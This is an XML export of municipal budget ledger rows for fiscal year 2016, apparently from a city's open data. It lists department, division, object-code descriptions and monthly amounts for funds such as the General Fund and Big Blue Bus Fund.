<row _id="18940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="18941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402220.0</object><object_description>CEMETERY MISC SALES / SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-262638</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-262638</total></row>
<row _id="18942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401330.0</object><object_description>MALL / DOWNTOWN MAINT DISTRICT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-16000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-16000</total></row>
<row _id="18943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404590.0</object><object_description>SUBDIVISION MAP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-11695</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-11695</total></row>
<row _id="18944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401600.0</object><object_description>LIBRARY FINES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2016</fiscal_year><july>-250000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-250000</total></row>
<row _id="18945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>520000.0</object><object_description>SUPPLIES AND EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16109</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16109</total></row>
<row _id="18947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>28587</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>28587</total></row>
<row _id="18948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>364</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>364</total></row>
<row _id="18949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>32870</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32870</total></row>
<row _id="18950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407390.0</object><object_description>GYM RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-42000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-42000</total></row>
<row _id="18951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="18952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533150.0</object><object_description>FIRE ALARM SERVICE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522830.0</object><object_description>FUEL AND OIL TAXES-REV EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>261375</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>261375</total></row>
<row _id="18954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511970.0</object><object_description>OTHER FRINGE BENEFITS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7970</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7970</total></row>
<row _id="18956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>154245</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>154245</total></row>
<row _id="18957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>507942</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>507942</total></row>
<row _id="18958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>273441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>273441</total></row>
<row _id="18959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>589402</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>589402</total></row>
<row _id="18960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4981</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4981</total></row>
<row _id="18961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5640</total></row>
<row _id="18962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>27041</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27041</total></row>
<row _id="18963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>38848</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>38848</total></row>
<row _id="18964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2917</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2917</total></row>
<row _id="18965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401200.0</object><object_description>FIELD PERMITS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-242400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-242400</total></row>
<row _id="18966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400771.0</object><object_description>OUTDOOR DINING REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-669117</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-669117</total></row>
<row _id="18967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>400950.0</object><object_description>MOUNTAIN VIEW LEASE REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>-426000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-426000</total></row>
<row _id="18968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>407160.0</object><object_description>STORMWATER IN-LIEU FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200000</total></row>
<row _id="18969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1601</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1601</total></row>
<row _id="18970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5100</total></row>
<row _id="18971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522545.0</object><object_description>AD SALES (BBB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>179724</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>179724</total></row>
<row _id="18974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>133989</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>133989</total></row>
<row _id="18975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404400.0</object><object_description>AFFORD HSING PROD PRGM DEVELOP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-892000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-892000</total></row>
<row _id="18976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - EQUIPMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="18977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7552</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7552</total></row>
<row _id="18978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>45819</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45819</total></row>
<row _id="18979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6150</total></row>
<row _id="18980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544111.0</object><object_description>PROMOTIONAL ITEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>577066.0</object><object_description>DELIVERY CHARGES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>375</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>375</total></row>
<row _id="18982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544113.0</object><object_description>ONBOARD MATERIALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>41000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>41000</total></row>
<row _id="18983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>544119.0</object><object_description>PUBLIC RELATIONS SVC.</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24608</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24608</total></row>
<row _id="18985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404090.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-1776019</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1776019</total></row>
<row _id="18986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>566910.0</object><object_description>MAINTENANCE-PARKING FACILITIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>149940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149940</total></row>
<row _id="18987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>956818</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>956818</total></row>
<row _id="18988"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-103310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-103310</total></row>
